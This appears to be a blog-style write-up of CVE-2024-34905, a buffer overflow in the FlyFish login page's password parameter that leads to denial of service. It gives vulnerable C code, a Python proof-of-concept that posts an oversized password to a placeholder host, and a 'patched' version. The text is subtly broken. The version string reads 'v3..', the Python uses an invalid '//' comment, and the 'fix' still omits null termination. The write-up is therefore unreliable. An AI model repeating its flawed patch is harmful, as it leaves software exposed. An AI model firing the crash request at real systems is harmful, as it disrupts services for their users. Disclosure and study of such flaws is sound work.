Recently, a buffer overflow vulnerability, tracked as CVE-2024-34905, was discovered in FlyFish v3.. web application. This critical security flaw can lead to a Denial of Service (DoS) attack if exploited by a malicious actor. In this long read, we will discuss the details of this vulnerability, including code snippets, links to original references, and exploit details.

Vulnerability Details

The buffer overflow vulnerability in FlyFish v3.. occurs due to incorrect handling of input data in the password parameter on the login page. Attackers can exploit this issue by sending specially crafted input, causing the application to crash and become unresponsive, ultimately resulting in a Denial of Service (DoS) attack.

The following code snippet demonstrates the vulnerable portion of the code

// Vulnerable Code Block in FlyFish v3..
char passwd[64]; // Vulnerable buffer

void login(char *username, char *password){
    strncpy(passwd, password, strlen(password)); // Vulnerable function call
    //...
    if(check_auth(username, passwd)){
        //...
    }
}

As seen in the code block above, the application attempts to copy the 'password' parameter content into a fixed-size buffer 'passwd' without properly validating the length of the input. This results in a buffer overflow when an oversized input is provided.

Exploitation

An attacker can exploit this vulnerability by sending an HTTP POST request with a long 'password' value, triggering the buffer overflow and causing the application to crash.

A sample proof-of-concept (PoC) exploit code is illustrated below

import requests

url = "http://victim_host/login";
username = "victim_username"
password = "A" * 100 // Excessively long password value

data = {
    "username": username,
    "password": password
}

response = requests.post(url, data=data)

if response.status_code == 500:
    print("Exploit successful, the application crashed.")
else:
    print("Exploit failed.")

Prevention and Mitigation

To prevent this vulnerability, developers should ensure that proper bounds checking is enforced before copying data into fixed-size buffers.

The code block should be modified as follows

// Patched Code Block in FlyFish v3..
char passwd[64]; // Vulnerable buffer

void login(char *username, char *password){
    strncpy(passwd, password, (strlen(password) > 63 ? 63 : strlen(password))); // Safe function call
    //...
    if(check_auth(username, passwd)){
        //...
    }
}

Original References

1. NVD - CVE-2024-34905 - The official CVE entry for this vulnerability in the NIST National Vulnerability Database.
2. FlyFish GitHub Repository - The original source code for the vulnerable version of the FlyFish Web Application.
3. OWASP Secure Coding Practices - A guide detailing the best practices developers should follow to avoid introducing security vulnerabilities in their applications.

Conclusion

CVE-2024-34905 is a critical buffer overflow vulnerability present in FlyFish v3.. via the password parameter on the login page. This exploit can lead to Denial of Service (DoS) attacks when a crafted input is provided by a malicious actor. Care should be taken to implement proper bounds checking when handling user input.

Timeline

Published on: 05/16/2024 15:15:47 UTC
Last modified on: 05/23/2024 21:03:49 UTC